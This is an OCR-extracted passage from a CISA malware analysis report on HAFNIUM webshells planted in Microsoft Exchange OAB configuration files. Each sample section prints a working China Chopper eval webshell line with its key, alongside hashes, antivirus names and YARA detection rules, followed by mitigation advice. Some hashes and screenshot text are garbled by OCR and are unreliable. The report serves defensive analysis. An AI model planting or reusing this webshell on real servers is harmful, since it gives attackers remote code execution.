$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
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$s2={4578 7465 72 6E 61 6C 55 726C 20202020}
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:1//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["YzVheMnJEUGo0"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "YzZVheMnJEUGo" is used

for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots
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58a6151413f281143a9390852b017b82ff40d402cdbc8295aa58ae46c4c8424f

Tags
trojan webshell

Details
Name | ydRIt1rF.aspx
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Size
Type
MD5

SHA1
SHA256
SHA512

2167 bytes

HTML document, ASCII text, with CRLF line terminators
9a597c67ad6cd1a448f58a2c8e5c4cab
7603dc2f7d940f8d27b6c36dcd8d66d5cca515ad
58a6151413f281143a9390852b017b82ff40d402cdbc8295aa58ae46c4c8424f

a62b048545eaddb6b234dc1d43a754e7550c8be6e2f8b05f85580¢504796bcccacbbd7f9f48e34b1910af605fe3a296
40e8efe166736623504afcacd762991c7

ssdeep 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaSVMr6j71idfhphE5gp62E40NFOqgSnenf:kNrdepN1BXSOcM5QZphEIs40NFOqgS+

Entropy 4.640063

Antivirus
Avira
Bitdefender
ClamAvV
Cyren
Emsisoft
IKARUS
Lavasoft
McAfee
NANOAV
Quick Heal
Sophos
Symantec
Trend Micro
Trend Micro HouseCall

EXP/CVE-2021-27065.1
Generic.ASP.WebShell.H.C4E75356
Asp.Trojan.Webshell0321-9840176-0
ASP/CVE-2021-27065.A.gen!Camelot
Generic.ASP.WebShell.H.C4E75356 (B)
Exploit.ASP.CVE-2021-27065
Generic.ASP.WebShell.H.C4E75356
Exploit-CVE2021-27065.a
Exploit.Script.CVE-2021-26855.iwqhlf
CVE-2021-26855.Webshll.41350
Troj/WebShel-L

Trojan.Chinchop

Backdoo.43A0A8D2
Backdoo.43A0A8D2

YARA Rules

¢ rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:

$s0 ={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }

$s1={65 76 616C 28}

$s2={285265 71756573 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
$s3={49 4F 2E53 74 72 6561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

$s4 ={57 7269 74 6528 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
e rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{

meta:
Author = "CISA Code & Media Analysis"

CISA MAR-10365227.r3.v1.CLEAR
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Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples”
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 7265 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—
hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["HOfPTmgbRo41"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "HOfPTmgbRo41" is used
for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots
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Figure 11. -

a8c¢656d12b10d4fae74efc4cc7e585f5569f1a9144ebf6cd56blbfed0dd7a440

Tags

trojan webshell

Details

Name undMk5U9.aspx
Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 674ad3430e17de5279ceae899ee2d951

SHA1 bed00a85dbb0chbf3766ch7b05d355db158190a40

SHA256 a8c656d12b10d4fae74efc4cc7e585f5569f1a9144ebf6cd56blbfed0dd7a440

TLP: CLEAR

SHA512 547dbae802ff6b22406a2083db1b207844638df631a7f9339€2b9428b1685002¢51261111c8d99cbfSadc2b19d4a7

8277193d11fc81a45¢c515639a89ea50f1d3

ssdeep 24:kNrde9j3a+rJTh91QcFdyW6j0SzMahBYVMr6j71idfhphESg7Rj62E40NFOqdenf:kNrdepN1BXSOSM5QZphEOJs40NFOq

5
Entropy 4.642646

Antivirus
Avira = EXP/CVE-2021-27065.1
Bitdefender | Generic.ASP.WebShell.H.6DFD588B
ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft = Generic.ASP.WebShell.H.6DFD588B (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft = Generic.ASP.WebShell. H.6DFD588B
McAfee | Exploit-CVE2021-27065.a
NANOAV | Exploit.Script.CVE-2021-26855.iwghlf
Quick Heal CVE-2021-26855.Webshll.41350
Sophos = Troj/WebShel-L
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Symantec @ Trojan.Chinchop
Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

¢ rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={6576 61 6C 28}
$s2={28 52 65 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
¢ rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter

TLP: CLEAR
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suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["VnDTHLB47e10"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "VnDTHLB47e10" is used

for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots
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Figure 12, -

1f5f5b8dd702da3628e8612d44563d8267fa160048a0da389ee821152ac658f2

Tags
trojan webshell

Details
Name | nypCBAQf.aspx
Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 58b07454a038cd6bb1ca3d6ff4fa38ce
SHA1 e731bc758f81f8c6021d59a9ceda37e015d9587b
SHA256 1f5f5b8dd702da3628e8612d44563d8267fa160048a0da389ee821152ac658f2

SHA512 e78fe5eb06c96eb16b7272e8f9472a64ce29b40dd8f6a24e4b8d6074a1674ae0399b2775e5e8314b8d9fc15dae84fd
3a20c492f1bd55c68d78acc332f24acObd

ssdeep 24:kNrde9j3a+rTh91QcFdyW6j0SzMaGVMr6j71idfhphE5gHUI62E40NFOghVenf:kNrdepN1BXSOQM5QZphE4Vs40ONFOgh
0

Entropy 4.655976

Antivirus
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Avira | EXP/CVE-2021-27065.1
Bitdefender | Generic.ASP.WebShell.H.3CB2ACFE
ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren | ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft = Generic.ASP.WebShell.H.3CB2ACFE (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft | Generic.ASP.WebShell.H.3CB2ACFE
McAfee Exploit-CVE2021-27065.a
NANOAV | Exploit.Script.CVE-2021-26855.iwghlf
Quick Heal | CVE-2021-26855.Webshil.41350
Sophos = Troj/WebShel-L
Symantec @ Trojan.Chinchop
Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

e rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{

meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples”
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

strings:
$s0={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={65 76 616C 28}
$s2={28 5265 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)

}

¢ rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples”
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7hb5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 = { 4F 66 66 6C 69 6E 65 41 64 64 7265 73 73 42 6F 6F 6B 73 }
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$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }

$s2={4578 7465 72 6E 61 6C 55 726C 20202020}
condition:

$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.
Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["JHCwIO1y8hvs"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "JHCwIO1y8hvs" is used

for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots
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Figure 13. -

1e05b263cfea600f727614e58646a2ff6a4c89a4499e2410f23bf40c718a94d3

Tags
trojan webshell

Details
Name | ZyphzweO.aspx

TLP: CLEAR

CISA MAR-10365227.r3.v1.CLEAR 31 of 37



TLP: CLEAR

Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 e591908bd81d43464696dde547d45003
SHA1 a3bcflbb8ed3073a0c9e6¢c5a87ad0aeab4001240
SHA256 1e05b263cfeab600f727614e58646a2ff6a4c89a4499e2410f23bf40c718a94d3
SHA512 0fd37f12f880d5c5b8d2d32bbbc9ebcbb938a0ch81f942efd92ef328c2e6fa1647bf52c363469a3224d28adba65f6elc
cb47714be519933d7a9ca7304af5a597
ssdeep 24:ydxSzMaHVMNGs+rJdrde9j3yh91Qcu6jq6j71lidfhphESkaqt62E40NFOqpenf:SxngffrdepiBJ95QZphEyfs4ONFOql
Entropy 4.651647
Antivirus
Avira EXP/CVE-2021-27065.1
Bitdefender = Generic.ASP.WebShell.H.35BB5C94
ClamAV | Asp.Trojan.Webshell0321-9840176-0
ESET ASP/Webshell.DI trojan
Emsisoft = Generic.ASP.WebShell.H.35BB5C94 (B)
Lavasoft | Generic.ASP.WebShell.H.35BB5C94
McAfee | Exploit-CVE2021-27065.d
NANOAYV | Exploit.Script.CVE-2021-26855.iwqhif
Quick Heal | CVE-2021-26855.Webshil.41350
Sophos = Troj/WebShel-L
Symantec Trojan.Chinchop
Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall Backdoo.43A0A8D2

YARA Rules

o rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065

{

meta:

Author = "CISA Code & Media Analysis"

Incident = "10328929"

Date = "2021-03-17"

Last_Modified = "20210317_2200"

Actor ="n/a"

Category = "Trojan WebShell Exploit"

Family = "HAFNIUM CVE-2021-27065"

Description = "Detects HAFNIUM webshell samples"

MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"

SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

strings:

$s0 ={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={6576616C 28}

$s2={285265 71756573 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
$s3={49 4F 2E 53 74 726561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 6528 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

condition:

$s0 or ($s1 and $s2) or ($s3 and $s4)

}

¢ rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065

{

meta:

Author = "CISA Code & Media Analysis"
Incident = "10328929"
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Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.
Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["gmetqypJ4TUw"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "gmetqypJ4TUw" is used

for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots

Berver

UhenChanged 2:57:36 PR

Incernallel : N EDACTED o’ QOAE

Extecnallcl i hte Sepcript language="J3cript" cunat="secver“>Iunction
=afe*) ;| </ socipts

Page_Load () {eval (Request [ "goecqypddTUe™] , *
Idencity : REDACTE

g ibefault Web Site)
FolllInterval : 480

] AE (Defaulc Web Jite)

Path iAProgram Files)HicrosofthExchange Server)V15\FrontEnd' HespProxy) OAB
CiflinehddressHooks H

Reguire3sL * True

Bazichuthencication i False

VindowsAuthent ication i True

Qhuthkuthentication i False

EecabasePach : II8://REDACTEL oo/ W3SUC/ 1/ ROOT/ OB
ExcendedProcectionTokenChecking : None

ExtendedProtect 1onf Lags H

ExtendedProtect ionSFHList H

hdminDisplagiersion i Version 15.0 [Build 1397.Z)
InternaliuthenticationMethods @ WindowsIntegeated
ExcernaliuchenticacionNethods @ WindowsIntegeated

hdminDisap LayNams 3

ExchangeVer=ion : 0.10 [14.0.100.0)

Discinguishediame
Adminiatracive Group (FYDIBOHF,
Exchangs, CH=Services, CN=Conl ign
Guid

DojectCategory i RE
Chjectslass : top

2 CN=OAB (Default Web Site) ,CN=HTTP,CN=Protocols, CN=SI0ACTIG CN=Servers, CN=Exchange
PDLT) , CH=Adminiscracive Groups,CH= +CH=Hicrosolc

tign, PC=R CECSE

172983 -8TEe—-4£2 1-B40e-al3 603 ea0744

EL T #Cont iguration/ Schema/me-Exch-0AR-Victual-birectory

EIEXChViTTEAlDiTEcToEY
merExchOABVictualMirectory

¥henCreated i WES20I1 18:10:50 FR
WhenChangeddTC T 3/2/2021 5:57:36 PA
WhenCreateddTC : 3/2/20Z1 5:10:50 FPH
Seganizationld H

Ia (befault Web Site)
driginatingSecver «com

IsValid
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Figure 14. -

€5451de048d7b9d6d8e699da7a10c38079edade6328580a8ba259a22eeaaa71d

Tags
trojan webshell
Details
Name  vyBcbDLQ.aspx
Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 62281d112d8a17b49¢2dc87bf2167b9f
SHA1 dc10dd5a896e0e343b8a8bf117becad327b3c4ab
SHA256 €5451de048d7b9d6d8e699da7a10c38079edade6328580a8ba259a22eeaaa7ld
SHA512 8dffc394bda02¢c2978d63b8c128efed7ed1b5e166a6bce93b6fac364fdd4dc49854602ab7ee22069598dc66b35844b
3663e859a570328607eb19df80263¢c72f3
ssdeep 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaBmVMr6j71idfhphE5gIU0+62E40NFOqVenf:kNrdepN1BXSOudM5QZphEQO+s40N
FOqO
Entropy 4.643858
Antivirus
Avira | EXP/CVE-2021-27065.1
Bitdefender = Generic.ASP.WebShell.H.9ABESBEE
ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft = Generic.ASP.WebShell.H.9ABESBEE (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft = Generic.ASP.WebShell.H.9ABESBEE
McAfee Exploit-CVE2021-27065.a
NANOAYV | Exploit.Script.CVE-2021-26855.iwqhif
Quick Heal CVE-2021-26855.Webshll.41350
Sophos = Troj/WebShel-L
Symantec Trojan.Chinchop
Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

e rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065

{

meta:

Author = "CISA Code & Media Analysis"

Incident = "10328929"

Date = "2021-03-17"

Last_Modified = "20210317_2200"

Actor ="n/a"

Category = "Trojan WebShell Exploit"

Family = "HAFNIUM CVE-2021-27065"

Description = "Detects HAFNIUM webshell samples"

MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"

SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:

$s0={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
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$s1={6576616C 28}

$s2={28 5265 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 7269 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
e rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["21t305Rah6JI"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "21t305Rah6JI" is used for
authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots
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Hame ¢ OAB (Derault Veb Jive)

PollInterval : 480

CELLineiddressBooks E

Require®SL © True

BasicAUChEnt iCaTi0n : Faloe

VUindowshuthentication : True

Qhuchiuchentication ¢ Falae

HetabasePath ¢ LIS/ /REDACTEL voomd NRSVES 1/ ROOT/ OAE

Path ¢ D:\Program Files\Microsoft\Exchange Server)\Vis)FroncEnd\HoopProxy' OAB

ExtendedProtectionTokenChecking : None
ExtendedProtectionf lags :
ExtendedProtect iondFHLi=c

hdminDisplayVersion : Weesion 15.0 (Build 1457.2)

Server & REDACTEL

Internallrl : heeps:f/RE TEC < oo OB

Internalbuthenticationfes hads ¢ WindowsIncegraced

Extecnallrl r httpiffEf<script language="JScript™ runat=Tserver"»function

Page_Load () {eval ([Regueat ["Z103o5RahGII"] , "unsate™) ;) </ acripr>

Externalibuthenticationfechods : WindowsIntegrated

RdminDisp layName E

ExchangeVersion o 0.10 (1%.0.100.0)

Diacinguishediome ¢ CH=OAE [Default Web Sice), CH=HTTP, (H=Frotecols, CN=RERACTERCH=Servera, CH=Exchange

kdministrative Group (FYDIBOHF2ZISPDLT],C
Exchange, CH=Services, CH=Confiyg

H=Administrative Groups,{H= CH=Nicrosoft
3, DC=EoTn

Identity WCTEL (befault Ueb Site)
Guid ¢ elSEEE0F=ad40=-3bad-9007=-51006 62 ZhdeD
thiectCategory & REC JConfigucation/Ichema/me-Exch-OAB-Virtual-Directory
ChjectClass r top
meExchVirtualirestory
msExchOABVictuallicectory
WhenChanged P O3S2/2021 11:41:08 AN
UhenCreated r 322021 131:15:02 AM
UhenChangedlITC ¢ 3S3SI021 4:41:08 PR
WhenCreatedlTC r 3f2/2021 4r15:02 PH
Crganizacionld

Id
OF 1GinaT ingIarner
IsValid

{Default Web Hite)
com

Figure 15. -

Conclusion

The following MITRE ATT&CK tactics and techniques were observed during the analysis of these samples.
T1505.003 Server Software Component: Web Shell

Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is
placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may
provide a set of functions to execute or a command-line interface on the system that hosts the Web server.

T1190.000 Exploit Public-Facing Application

Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or
commands in order to cause unintended or unanticipated behavior.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their
organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to
avoid unwanted impacts.

e Maintain up-to-date antivirus signatures and engines.
¢ Keep operating system patches up-to-date.
* Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.

e Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators
group unless required.

e Enforce a strong password policy and implement regular password changes.

o Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
e Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.

¢ Disable unnecessary services on agency workstations and servers.

e Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches
the file header).

TLP: CLEAR

CISA MAR-10365227.r3.v1.CLEAR 36 of 37



TLP: CLEAR

e Monitor users' web browsing habits; restrict access to sites with unfavorable content.
o Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
e Scan all software downloaded from the Internet prior to executing.

o Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology
(NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

« 1-888-282-0870

« CISA Service Desk (UNCLASS)
« CISA SIPR (SIPRNET)

« CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this
product at the following URL: https://us-cert.cisa.gov/forms/feedback

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely
manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis,
please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired
via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of
desired analysis.

Can | edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this
document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can | submit malware to CISA? Malware samples can be submitted via three methods:

e Web: https://malware.us-cert.gov

e E-Mail: submit@malware.us-cert.gov

¢ FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software
vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.
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